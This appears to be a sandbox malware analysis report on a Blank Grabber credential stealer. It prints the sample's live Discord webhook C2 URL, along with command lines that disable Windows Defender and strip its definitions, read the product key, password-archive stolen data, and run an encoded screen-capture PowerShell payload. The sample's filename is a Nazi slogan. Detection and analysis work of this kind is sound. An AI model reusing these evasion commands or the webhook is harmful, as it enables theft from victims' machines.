powershell.exe (PID: 6024 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5164 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7864 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8160 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7736 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Configuration

Threatname: Blank Grabber

{"C2 url": "https://discord.com/api/webhooks/1302413781162266715/WJ0cdpWb68IO94MZWMtc7o2HkgZFWYLoExtrMC3fyimxUgR5SCyIRovGkrea9pNRE2_V"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI74322\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1680543056.0000028B92082000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1680543056.0000028B92084000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2024405519.000001BD43030000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.2017807345.000001BD43E2A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: HeilHitler.exe PID: 7432	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: HeilHitler.exe PID: 7448	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: HeilHitler.exe PID: 7448	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: HeilHitler.exe PID: 7448	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\HeilHitler.exe", ParentImage: C:\Users\user\Desktop\HeilHitler.exe, ParentProcessId: 7448, ParentProcessName: HeilHitler.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'", ProcessId: 7496, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\HeilHitler.exe", ParentImage: C:\Users\user\Desktop\HeilHitler.exe, ParentProcessId: 7448, ParentProcessName: HeilHitler.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 7504, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\HeilHitler.exe", ParentImage: C:\Users\user\Desktop\HeilHitler.exe, ParentProcessId: 7448, ParentProcessName: HeilHitler.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *", ProcessId: 7920, ProcessName: cmd.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

